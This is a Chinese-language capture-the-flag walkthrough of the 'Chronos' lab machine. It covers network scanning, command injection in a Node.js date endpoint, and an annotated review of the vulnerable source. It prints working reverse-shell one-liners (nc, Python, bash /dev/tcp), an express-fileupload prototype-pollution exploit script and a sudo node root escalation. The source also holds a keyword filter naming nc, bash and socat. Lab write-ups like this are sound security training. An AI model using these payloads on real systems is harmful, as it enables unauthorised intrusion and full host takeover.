[Hack实战]-3-靶机红队攻防实验
引言
中等难度,靶机红队攻防实验#第3篇,主要涉及Node.js代码审计,BurpSuite的截断重发等。
文章目录
0×1.环境介绍
攻击主机与靶机放在VirtualBox虚拟机的Host-only下
攻击Kali主机IP:192.168.56.6
攻击主机与靶机在同一个网段192.168.56.0/24
0×2.实战命令
下面的所有命令都使用root用户执行,如果是普通用户,请在命令前面添加sudo,
● 局域网发现
#局域网二层扫描
#arp-scan -I 网卡名称 -l
arp-scan -I eth0 -l
#netdiscover用于扫描网段内存活的主机
netdiscover -r 网段
● 三层端口扫描+服务探测
#假设探测到的目标主机IP为192.168.56.5
nmap -p- 192.168.56.5
nmap -p22,80,8000 -sV 192.168.56.5
● 当我们拿到一个网站,在他的首页没有明显的可以利用的信息的时候,通常接下来有两种思路:
第一:扫描这个网站的目录,看看有没有其他的隐藏路径,看看其他的路径下面有没有什么可以利用的信息
第二:查看源代码,看看源代码里面有没有什么可以利用的信息,例如表单信息,其他文件的路径信息,加载了哪些脚本等等
发现源码中包含了js脚本,但是这段脚本明显是通过了某种加密手段进行了加密,并且格式混乱,通过CyberChef对这段代码进行格式还原:
CyberChef,提供了超过500种数据操处理功能(如编码、加密、压缩、哈希计算等),支持浏览器打开使用。
#发现包含下面这一串网址信息
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
....
这个域名的chronos.local部分,前面是这台靶机的名称,后面代表了本地,而后面跟着的8000端口就是我们前面扫描出来的靶机上面开放的8000端口,那么这个地方是不是chronos.local就代表着目标靶机本身?(猜测)
也就是说这个地方,页面的js脚本会去访问自己的8000端口,并且在这里跟着一个date参数,通过format格式化去读取了某个加密的信息在页面上显示,但是我们打开靶机80页面的时候,却看不到这段信息,所以会不会是因为chronos.local这个域名在我的本地没有办法解析成目标靶机的IP地址导致的?带着这个疑问,我做了一个这样的操作
#用notepad编辑本地的hosts文件,添加了靶机的IP地址解析到chronos.local这个域名
notepad c:\windows\system32\drivers\etc\hosts
#添加
192.168.56.5 chronos.local
hosts文件是 Windows 系统中用于静态映射域名与 IP 地址的核心文件,其作用是在本地建立域名解析的优先级数据库,当用户访问网站时系统会优先查询该文件而非 DNS 服务器,从而实现快速访问、屏蔽恶意网站或自定义域名跳转的目的
接下来刷新页面就能看到域名已经被正常的解析,并且显示了当前的日期和时间
接着我们打开BurpSuite,打开火狐浏览器,设置里面开启proxy,http代理指向127.0.0.1的8080端口,然后刷新一下靶机页面,在burpsuite的proxy的HTTP history页面,就能够看到我们刷新这个页面后的所有访问过程,首先是通过get去请求页面,然后通过options方法访问了8000端口,最后通过get请求得到8000的访问数据展示在页面上。
通过这一系列HTTP的访问动作我们不难判断,我们前面看到的80端口的那一串时间信息,就是通过这个8000端口的get请求获得的,那么我们可以做一个操作,将这个get请求发送到Repeater,对这个请求做一些请求的重放尝试
接下来我们问自己一个问题,为什么我们发送一段这样(/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL)的get请求的时候,服务器会返回一个时间给我们?
带着这个疑问,我们现在来做个测试,尝试修改format后面的加密数据,例如变成一串字符,发送给服务器,发现就没办法返回数据,改成一串数字,就能返回时间,只是格式不一样,有没有发现这串时间数字让人联想到了linux中的一个命令——date
date命令后面添加不同参数时候显示的变化:
date 111111111
date qwe
date "+%A, %B %-d, %Y %l:%M:%S %p"
为了验证我们的想法,首先我们需要对这一串字符串进行解密,通过CyberChef的magic自动分析功能:
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGy
#发现这一串使用了base54加密,解密出来是+Today is %A, %B %d, %Y %H:%M:%S.
#将解密出来的参数传递给data命令,就得到了与网页看到的相同的结果
date '+Today is %A, %B %d, %Y %H:%M:%S.'
如果这个地方是通过系统的data命令执行来获得的数据,那么就可以尝试看看这个地方存不存在远程代码执行漏洞:
#尝试构造远程代码执行语句
date '+Today is %A, %B %d, %Y %H:%M:%S.' & ls
#将| ls 转码成base54,就意味着 date & ls
& ls /usr/local/bin #查看node程序存放位置
& ls /bin #查看有没有nc命令
& ls /usr/bin #查看有没有安装python
#两种方式获得反弹shell
& nc 192.168.56.6 1111 | /bin/bash | nc 192.168.56.6 2222
& python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.6",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
● node.js代码审计
#源码分析
// 引入Express框架用于创建Web服务
const express = require('express');
// 引入子进程模块用于执行系统命令(高危操作)
const { exec } = require("child_process");
// 引入Base58编码解码库(用于隐藏命令特征)
const bs58 = require('bs58');
// 创建Express应用实例
const app = express();
// 定义服务监听端口
const port = 8000;
// 启用跨域资源共享中间件(允许所有来源请求)
const cors = require('cors');
// 注册CORS中间件
app.use(cors());
// 根路径处理:返回静态HTML文件(存在路径遍历风险)
app.get('/', (req,res) => {
// 硬编码路径可能允许攻击者访问系统文件(如../../malicious.html)
res.sendFile("/var/www/html/index.html");
});
// 日期查询接口(存在命令注入漏洞)
app.get('/date', (req, res) => {
// 获取用户代理信息(可伪造)
const agent = req.headers['user-agent'];
// 初始化命令前缀(固定拼接date命令)
const cmd = 'date ';
// 获取格式化参数(用户完全可控)
const format = req.query.format;
// Base58解码输入参数(试图隐藏恶意代码)
const bytes = bs58.decode(format);
// 转换为字符串拼接命令(注入点)
const decoded = bytes.toString();
// 构造最终命令(危险操作)
const concat = cmd.concat(decoded);
// 白名单检查(存在绕过可能)
if (agent === 'Chronos') {
// 关键过滤逻辑缺陷:仅检查部分危险命令关键词
if (concat.includes('id') || concat.includes('whoami') ||
concat.includes('python') || concat.includes('nc') ||
concat.includes('bash') || concat.includes('php') ||
concat.includes('which') || concat.includes('socat')) {
// 误导性错误提示(实际攻击可能已成功)
res.send("Something went wrong");
}
// 执行拼接后的命令(直接注入风险)
exec(concat, (error, stdout, stderr) => {
// 错误处理不完整(未返回错误信息给攻击者)
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
// 返回命令执行结果(敏感信息泄露风险)
res.send(stdout);
});
}
else{
// 权限验证缺失(未验证用户身份)
res.send("Permission Denied");
}
})
// 启动服务(未设置环境变量区分生产/开发)
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
上面这一段代码分析后验证了我们的思路,代码存在严重的远程代码执行漏洞,是因为参数的简单拼接导致的
接下来在父目录中,发现了一段js源码:
#另外一个js的代码解析
// 引入Express框架用于构建Web服务
const express = require('express');
// 引入文件上传中间件(支持multipart/form-data解析)
const fileupload = require("express-fileupload");
// 引入Node.js原生HTTP模块
const http = require('http');
// 创建Express应用实例
const app = express();
// 配置文件上传中间件(允许嵌套字段解析)
app.use(fileupload({
parseNested: true, // 支持嵌套表单字段结构
// 潜在风险:未配置文件大小限制可能导致DoS攻击
}));
// 设置EJS模板引擎
app.set('view engine', 'ejs');
// 指定模板文件存储目录(绝对路径)
app.set('views', "/opt/chronos-v2/frontend/pages"); // 安全风险:硬编码路径可能暴露系统文件
// 根路径处理:渲染EJS模板
app.get('/', (req, res) => {
res.render('index'); // 渲染pages目录下的index.ejs
});
// 创建HTTP服务器实例(绕过Express内置服务器)
const server = http.Server(app);
// 服务监听配置
const addr = "127.0.0.1"; // 仅允许本地访问(生产环境需改为0.0.0.0)
const port = 8080;
// 启动服务监听
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
这段代码中调用的fileupload框架,存在严重的漏洞,express-fileupload 是一个处理文件上传的中间件,类似“文件搬运工”。当用户上传文件时,它会帮服务器把文件内容整理成方便使用的格式。漏洞核心在于:当开启 parseNested 选项时,这个“搬运工”会把文件字段名自动转换成嵌套的 JavaScript 对象,但没做好安全检查,导致攻击者可以篡改 JavaScript 的“家族基因”(原型链)。
● express-fileupload的python漏洞利用代码:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.6/2333 0>&1"'
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName':(None,f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
requests.get('http://127.0.0.1:8080')
获得普通用户的权限后,通过sudo -l查看到存在不需要使用密码就能够调用node的权限,利用node成功提权成root:
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
0×3.视频演示
点击下方视频标题,可以进入B站观看高清版本
【第30天】渗透测试实战#4-大1女新新生挑战一年精通网络安全-渗透测试-红队渗透-安全攻防-靶机攻防-渗透实战